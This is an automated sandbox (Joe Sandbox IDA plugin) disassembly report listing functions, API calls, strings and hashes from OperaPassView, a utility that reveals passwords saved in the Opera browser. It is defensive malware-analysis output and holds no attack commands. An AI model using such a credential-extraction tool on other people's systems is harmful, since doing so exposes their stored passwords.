Opcode Fuzzy Hash: 9fb8add28beb6dedc95fe4ea4b1474876ec73735b2af5615a542e2dfb76c4588
Instruction Fuzzy Hash: 4461BA71900208AFDF14EF54CC86EAE7B79EF04310F1044AAF915BA1E2DB79AA55CB49

Function 0040B046 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 139COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(?,?,004054A2,?,00000000), ref: 0040B077
74D41560.VERSION(00000000,0040D9A8,004054A2,?,004054A2,00000000,?,00000000,?,004054A2,?,00000000), ref: 0040B09A
74D41560.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040D9A8,004054A2,?,004054A2,00000000,?,00000000,?,004054A2,?,00000000), ref: 0040B0D7
_snwprintf.MSVCRT ref: 0040B0F7
wcscpy.MSVCRT ref: 0040B121
??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,OriginalFileName,00000000,?,LegalCopyright,00000000,?,InternalName,00000000,?,CompanyName,00000000,?,ProductVersion), ref: 0040B1D1

Strings

LegalCopyright, xrefs: 0040B1A3
ProductName, xrefs: 0040B128
InternalName, xrefs: 0040B18E
CompanyName, xrefs: 0040B179
OriginalFileName, xrefs: 0040B1B8
ProductVersion, xrefs: 0040B164
FileDescription, xrefs: 0040B13A
040904E4, xrefs: 0040B11B
\VarFileInfo\Translation, xrefs: 0040B0D1
FileVersion, xrefs: 0040B14F
%4.4X%4.4X, xrefs: 0040B0EC

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: D41560$??2@??3@_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 457946229-1542517562
Opcode ID: 74b9f49adb43e93f1b4629508957e663a3cbe10271b0bc0781c0a43f198b81b9
Instruction ID: c77ba3d7781d57481aec87ede9c1e58c24b0b5df3c8ac5c2dbc8897c88521a13
Opcode Fuzzy Hash: 74b9f49adb43e93f1b4629508957e663a3cbe10271b0bc0781c0a43f198b81b9
Instruction Fuzzy Hash: 2E4121B2900219BAD704EBA5DC81DDEB7BCEF48304F104537B915F3181DB78AA658BE9

Function 0040AE19 Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040AE3F
memset.MSVCRT ref: 0040AE54
memset.MSVCRT ref: 0040AE69
_snwprintf.MSVCRT ref: 0040AE98
_snwprintf.MSVCRT ref: 0040AEC7
wcscpy.MSVCRT ref: 0040AED8
_snwprintf.MSVCRT ref: 0040AEF8
memset.MSVCRT ref: 0040AF34
_snwprintf.MSVCRT ref: 0040AF55
_snwprintf.MSVCRT ref: 0040AF8F

Part of subcall function 0040ABC0: _snwprintf.MSVCRT ref: 0040ABE4

Strings

width="%s", xrefs: 0040AF44
</font>, xrefs: 0040AED2
bgcolor="%s", xrefs: 0040AE87
<font color="%s">, xrefs: 0040AEB6
<table border="1" cellpadding="5"><tr%s>, xrefs: 0040AEE7
<th%s>%s%s%s, xrefs: 0040AF7E

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _snwprintf$memset$wcscpy
String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
API String ID: 2000436516-3842416460
Opcode ID: 8d6898fab53ab0b60a390204c1e4cfbcaa00540991fd3ca177e4b9a86d2d2e9f
Instruction ID: ebae007158f5f2506bfea522e64c2bfb5fbc658421ecf67e2e85ebbb39a1aa2a
Opcode Fuzzy Hash: 8d6898fab53ab0b60a390204c1e4cfbcaa00540991fd3ca177e4b9a86d2d2e9f
Instruction Fuzzy Hash: 704142B194021DAAEB20EF55CC45FAB737CFF45304F4404B6B508B2191E7759B548BAA

Function 0040542E Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 95COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00405454
memset.MSVCRT ref: 00405470

Part of subcall function 00403CE2: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040556D,00000000,00405420,?,00000000,00000208), ref: 00403CED

Part of subcall function 0040B046: ??2@YAPAXI@Z.MSVCRT(?,?,004054A2,?,00000000), ref: 0040B077
Part of subcall function 0040B046: 74D41560.VERSION(00000000,0040D9A8,004054A2,?,004054A2,00000000,?,00000000,?,004054A2,?,00000000), ref: 0040B09A
Part of subcall function 0040B046: 74D41560.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040D9A8,004054A2,?,004054A2,00000000,?,00000000,?,004054A2,?,00000000), ref: 0040B0D7
Part of subcall function 0040B046: _snwprintf.MSVCRT ref: 0040B0F7
Part of subcall function 0040B046: wcscpy.MSVCRT ref: 0040B121

wcscpy.MSVCRT ref: 004054B4
wcscpy.MSVCRT ref: 004054C3
wcscpy.MSVCRT ref: 004054D3
EnumResourceNamesW.KERNEL32(?,00000004,Function_00005202,00000000), ref: 00405538
EnumResourceNamesW.KERNEL32(?,00000005,Function_00005202,00000000), ref: 00405542
wcscpy.MSVCRT ref: 0040554A

Strings

Version, xrefs: 00405506
RTL, xrefs: 00405519
TranslatorName, xrefs: 004054DF
xA, xrefs: 004054CD
TranslatorURL, xrefs: 004054F0
Sb, xrefs: 004054D2
general, xrefs: 004054C8
strings, xrefs: 00405544

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscpy$D41560EnumNamesResourcememset$??2@FileModuleName_snwprintf
String ID: RTL$Sb$TranslatorName$TranslatorURL$Version$general$strings$xA
API String ID: 4042976179-1320911777
Opcode ID: 0531f16f82f1763b03830d38b030f4b2bf235af16fc3c7ed929699e22dae36c4
Instruction ID: e640bb0d8affe5582c49cc3bbba19e5fe6b4909aa133fff550c0bb54b2d59f1c
Opcode Fuzzy Hash: 0531f16f82f1763b03830d38b030f4b2bf235af16fc3c7ed929699e22dae36c4
Instruction Fuzzy Hash: 0321B8B2D402187AD710B7A69C46ECB3A6CDF44758F500477B608720C2DBB95AC48AED

Function 004087DF Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 184filewindowCOMMON

Download Yara Rule

APIs

SetBkMode.GDI32(?,00000001), ref: 00408867
SetTextColor.GDI32(?,00FF0000), ref: 00408875
SelectObject.GDI32(?,?), ref: 0040888A
DrawTextExW.USER32(?,?,000000FF,?,00000004,?), ref: 004088BE
SelectObject.GDI32(00000014,00000005), ref: 004088CA

Part of subcall function 00408672: GetCursorPos.USER32(?), ref: 0040867F
Part of subcall function 00408672: GetSubMenu.USER32(?,00000000), ref: 0040868D
Part of subcall function 00408672: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 004086BB

GetModuleHandleW.KERNEL32(00000000), ref: 004088E5
LoadCursorW.USER32(00000000,00000067), ref: 004088EE
SetCursor.USER32(00000000), ref: 004088F5
PostMessageW.USER32(?,0000041C,00000000,00000000), ref: 0040891B
memset.MSVCRT ref: 00408958
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00408970
DragFinish.SHELL32(?), ref: 00408979
wcscpy.MSVCRT ref: 00408990

Strings

OperaPassView, xrefs: 00408926

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Cursor$DragMenuObjectSelectText$ColorDrawFileFinishHandleLoadMessageModeModulePopupPostQueryTrackmemsetwcscpy
String ID: OperaPassView
API String ID: 1499467073-491582363
Opcode ID: e68aea664200f148d7cecb962a3098de5e09b77a34bd06c91c8b8d0c291bf007
Instruction ID: f4f63289b9d4773893809d9c1953786a0c93cdb49016a9501b264df7b69ccf3c
Opcode Fuzzy Hash: e68aea664200f148d7cecb962a3098de5e09b77a34bd06c91c8b8d0c291bf007
Instruction Fuzzy Hash: 4F519071600105EBDB14AF64CE89BAA77A5EF08350F10413BF545F66E1CB39AD11CF9A

Function 00409BE7 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(psapi.dll,?,004099CA), ref: 00409BFA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00409C13
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00409C24
GetProcAddress.KERNEL32(00000000,GetModuleFileNameExW), ref: 00409C35
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00409C46
GetProcAddress.KERNEL32(00000000,GetModuleInformation), ref: 00409C57
FreeLibrary.KERNEL32(00000000), ref: 00409C77

Strings

GetModuleBaseNameW, xrefs: 00409C0D
psapi.dll, xrefs: 00409BF5
EnumProcessModules, xrefs: 00409C1E
EnumProcesses, xrefs: 00409C40
GetModuleFileNameExW, xrefs: 00409C2F
t=h,@, xrefs: 00409C2D
GetModuleInformation, xrefs: 00409C51

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: AddressProc$Library$FreeLoad
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll$t=h,@
API String ID: 2449869053-4046855281
Opcode ID: 31203c45b7668d9f2b8208e3f14b98e8e66298e6c3a09ffeb7be2b34e8d86659
Instruction ID: 2def95ee6364c46c4c3825ab0ca41f00cd5cc6740c1be7f79dca8be930f9057a
Opcode Fuzzy Hash: 31203c45b7668d9f2b8208e3f14b98e8e66298e6c3a09ffeb7be2b34e8d86659
Instruction Fuzzy Hash: FF01D830944205EEE7106B355F88FB73DE85B45B40B14403BEA85F22D5D7BC8842CABD

Function 004071B8 Relevance: 21.1, APIs: 14, Instructions: 137windowCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004071FB
memset.MSVCRT ref: 00407210
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00407222
SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 00407240
SendMessageW.USER32(?,00001003,00000001,?), ref: 0040727D
SendMessageW.USER32(?,00001003,00000000,?), ref: 004072B4
GetModuleHandleW.KERNEL32(00000000), ref: 004072CF
LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 004072E1
GetModuleHandleW.KERNEL32(00000000), ref: 004072EC
LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 004072FE
GetSysColor.USER32(0000000F), ref: 00407317
DeleteObject.GDI32(?), ref: 0040734E
DeleteObject.GDI32(?), ref: 00407354
SendMessageW.USER32(00000000,00001208,00000000,?), ref: 00407371

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: MessageSend$DeleteHandleImageLoadModuleObjectmemset$ColorDirectoryFileInfoWindows
String ID:
API String ID: 1010922700-0
Opcode ID: 4ae07d1eafb86ce8459b57e9f0386dc622c1cc60e412148285927fde4e3d20a8
Instruction ID: d0bb83a61ff01b1649836e0889e79c9a4213dc8e121548c6b09103e2141b6283
Opcode Fuzzy Hash: 4ae07d1eafb86ce8459b57e9f0386dc622c1cc60e412148285927fde4e3d20a8
Instruction Fuzzy Hash: 5E419571640304FFEB30AFA0CD8AF9777ADEB48B44F000929B799A51D1C6B66840DB69

Function 00408BC0 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00408BC6
_wcsicmp.MSVCRT ref: 00408BDB

Strings

/stab, xrefs: 00408C00
/scomma, xrefs: 00408C2A
/skeepass, xrefs: 00408C3F
/sverhtml, xrefs: 00408BD6
/sxml, xrefs: 00408BEB
/shtml, xrefs: 00408BC1
/stabular, xrefs: 00408C15

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: _wcsicmp
String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
API String ID: 2081463915-1959339147
Opcode ID: f126aac336027aade2bd992aa42c9a507d327af415dc3da46cb14e8707671f64
Instruction ID: 6a8d15b326756f270775eb0b4bc9ccd913514609a237ec2c8d7395a501cc2608
Opcode Fuzzy Hash: f126aac336027aade2bd992aa42c9a507d327af415dc3da46cb14e8707671f64
Instruction Fuzzy Hash: 1001007229971968F82821A72E07F830649CB91776F30187FF650F41C1FFED500090AD

Function 00409B63 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,004099D1), ref: 00409B72
GetProcAddress.KERNEL32(00000000,CreateToolhelp32Snapshot), ref: 00409B8B
GetProcAddress.KERNEL32(00000000,Module32First), ref: 00409B9C
GetProcAddress.KERNEL32(00000000,Module32Next), ref: 00409BAD
GetProcAddress.KERNEL32(00000000,Process32First), ref: 00409BBE
GetProcAddress.KERNEL32(00000000,Process32Next), ref: 00409BCF

Strings

CreateToolhelp32Snapshot, xrefs: 00409B85
Module32Next, xrefs: 00409BA7
Module32First, xrefs: 00409B96
kernel32.dll, xrefs: 00409B6D
Process32Next, xrefs: 00409BC9
Process32First, xrefs: 00409BB8

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CreateToolhelp32Snapshot$Module32First$Module32Next$Process32First$Process32Next$kernel32.dll
API String ID: 667068680-3953557276
Opcode ID: d30f8cba2966ae3013e33a565664738dbb0437bd6f4c5981b50ab5659ddf17c1
Instruction ID: d5699f626ae312526b32aedc70a84687c167ea3aa57a85226076c8fac5791ee2
Opcode Fuzzy Hash: d30f8cba2966ae3013e33a565664738dbb0437bd6f4c5981b50ab5659ddf17c1
Instruction Fuzzy Hash: E3F06D70944316EAC7119B267D41F673AFD7644B94B14443BA904F62E4DBBCA8428A6C

Function 00401FCD Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00403992: wcslen.MSVCRT ref: 0040399F
Part of subcall function 00403992: WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,00406A3F,?,<item>), ref: 004039AE

memset.MSVCRT ref: 00402003
memset.MSVCRT ref: 00402018
memset.MSVCRT ref: 0040202D
_snwprintf.MSVCRT ref: 00402055
wcscpy.MSVCRT ref: 00402071
_snwprintf.MSVCRT ref: 004020B4

Strings

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">, xrefs: 00401FDD
OperaPassView, xrefs: 00402099
<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>, xrefs: 004020A7
<meta http-equiv='content-type' content='text/html;charset=%s'>, xrefs: 00402048
<table dir="rtl"><tr><td>, xrefs: 0040206B

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$_snwprintf$FileWritewcscpywcslen
String ID: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">$<br><h4>%s <a href="http://www.nirsoft.net/" target="newwin">%s</a></h4><p>$<meta http-equiv='content-type' content='text/html;charset=%s'>$<table dir="rtl"><tr><td>$OperaPassView
API String ID: 2731979376-2480273121
Opcode ID: 646dcd1b9e953231d9470da4bd5ea41191e2abfd72350d1d553057ad103d5c36
Instruction ID: 28fa50906486a289e45a5ad7195f249920ae2561e4a16ea69265e6305823cba7
Opcode Fuzzy Hash: 646dcd1b9e953231d9470da4bd5ea41191e2abfd72350d1d553057ad103d5c36
Instruction Fuzzy Hash: 712199B290021C7ADB21AB55CC45EDA37BCEB48395F00447BF508B21D1D7799A84CBAD

Function 0040A56D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A59B
memset.MSVCRT ref: 0040A5B0
_snwprintf.MSVCRT ref: 0040A5CA
_snwprintf.MSVCRT ref: 0040A5E9
memset.MSVCRT ref: 0040A61B
memset.MSVCRT ref: 0040A630
memset.MSVCRT ref: 0040A645
_snwprintf.MSVCRT ref: 0040A65F
_snwprintf.MSVCRT ref: 0040A67C

Strings

%%0.%df, xrefs: 0040A5BD, 0040A652

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: memset$_snwprintf
String ID: %%0.%df
API String ID: 3473751417-763548558
Opcode ID: 409ba99a9c349413dd446bed548785d2e9acc1bad2a7b6cef97f0aa39dd2e5d3
Instruction ID: ef544523c3523588dc28845724cc64a82ff7bc47be5f9679bfabf1e8d80f0346
Opcode Fuzzy Hash: 409ba99a9c349413dd446bed548785d2e9acc1bad2a7b6cef97f0aa39dd2e5d3
Instruction Fuzzy Hash: BB314171800129ABDB20EF55CC85FEB7B7CEF49344F0404FAB509B2152D7359A54CBA9

Function 00409C7F Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

wcschr.MSVCRT ref: 00409C98
wcscpy.MSVCRT ref: 00409CA8

Part of subcall function 00403A94: wcslen.MSVCRT ref: 00403AA3
Part of subcall function 00403A94: wcslen.MSVCRT ref: 00403AAD
Part of subcall function 00403A94: _memicmp.MSVCRT ref: 00403AC8

wcscpy.MSVCRT ref: 00409CF7
wcscat.MSVCRT ref: 00409D02
memset.MSVCRT ref: 00409CDE

Part of subcall function 00403E91: GetWindowsDirectoryW.KERNEL32(004111C8,00000104,?,00409D37,?,?,00000000,00000208,00000000), ref: 00403EA7
Part of subcall function 00403E91: wcscpy.MSVCRT ref: 00403EB7

memset.MSVCRT ref: 00409D26
memcpy.MSVCRT(?,?,00000004,?,?,00000000,00000208,00000000), ref: 00409D41
wcscat.MSVCRT ref: 00409D4D

Strings

\systemroot, xrefs: 00409CB5

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: wcscpy$memsetwcscatwcslen$DirectoryWindows_memicmpmemcpywcschr
String ID: \systemroot
API String ID: 4173585201-1821301763
Opcode ID: facde2b8f89db745d60bf330219db30c754c20a28cf1d712b41ee9f834ebd63e
Instruction ID: d16e859cce06c1c2d3dd9f39888d71990bc3494b1314dad374068df8eab53baa
Opcode Fuzzy Hash: facde2b8f89db745d60bf330219db30c754c20a28cf1d712b41ee9f834ebd63e
Instruction Fuzzy Hash: 6B21D7A290530869D620E7B28C8AEAB63ECDF04714F20457FF155B20C3FB7D9944879E

Function 00404B56 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(?), ref: 00404B6C
memset.MSVCRT ref: 00404B90
GetMenuItemInfoW.USER32 ref: 00404BCB
memset.MSVCRT ref: 00404BFA
wcschr.MSVCRT ref: 00404C06
wcscat.MSVCRT ref: 00404C61
ModifyMenuW.USER32(?,?,00000400,?,?), ref: 00404C7D

Strings

6, xrefs: 00404BB6
0, xrefs: 00404BAB

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
String ID: 0$6
API String ID: 4066108131-3849865405
Opcode ID: da43833e401972e40bb050ca289079bb69a928caf2944b2870b10eb0a741d1a9
Instruction ID: ac8843e93e4834736a0d64f13e10506abd6307da66712888bb72bde914a3a568
Opcode Fuzzy Hash: da43833e401972e40bb050ca289079bb69a928caf2944b2870b10eb0a741d1a9
Instruction Fuzzy Hash: CD318FB2408345AFDB209F91D845A9BB7E8FFC4314F01493EFA48A2291D375D945CF9A

Function 004022B7 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 52libraryloaderwindowCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(comctl32.dll), ref: 004022D6
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004022E8
FreeLibrary.KERNEL32(00000000), ref: 004022FC
6F551CD0.COMCTL32 ref: 0040230A
MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00402327

Strings

comctl32.dll, xrefs: 004022BF
Error, xrefs: 0040231C
Error: Cannot load the common control classes., xrefs: 00402321
InitCommonControlsEx, xrefs: 004022E2

Memory Dump Source

Source File: 00000009.00000002.1722771856.0000000000401000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.1722740540.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000410000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722771856.0000000000412000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722849145.0000000000416000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000009.00000002.1722871201.0000000000417000.00000004.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_OperaPassView.jbxd

Similarity

API ID: Library$AddressF551FreeLoadMessageProc
String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
API String ID: 269827459-317687271
Opcode ID: 5e0be6fcd069c0de86451f3d07a72106bd430ef0109bf354b51bb24d89ff4816
Instruction ID: a8424b05ea2414d579705bc050e2bdef412539755436e16bd16116d1aed5ed42
Opcode Fuzzy Hash: 5e0be6fcd069c0de86451f3d07a72106bd430ef0109bf354b51bb24d89ff4816
Instruction Fuzzy Hash: A801D671710211EAD7115BF49DCDB6F7A9CEB84749B10023AE902F21C0DBBCC9019668

Function 00405368 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 42COMMON

Download Yara Rule

APIs

Part of subcall function 00403CB3: GetFileAttributesW.KERNELBASE(?,00405371,?,00405428,00000000,?,00000000,00000208), ref: 00403CB7

wcscpy.MSVCRT ref: 00405382
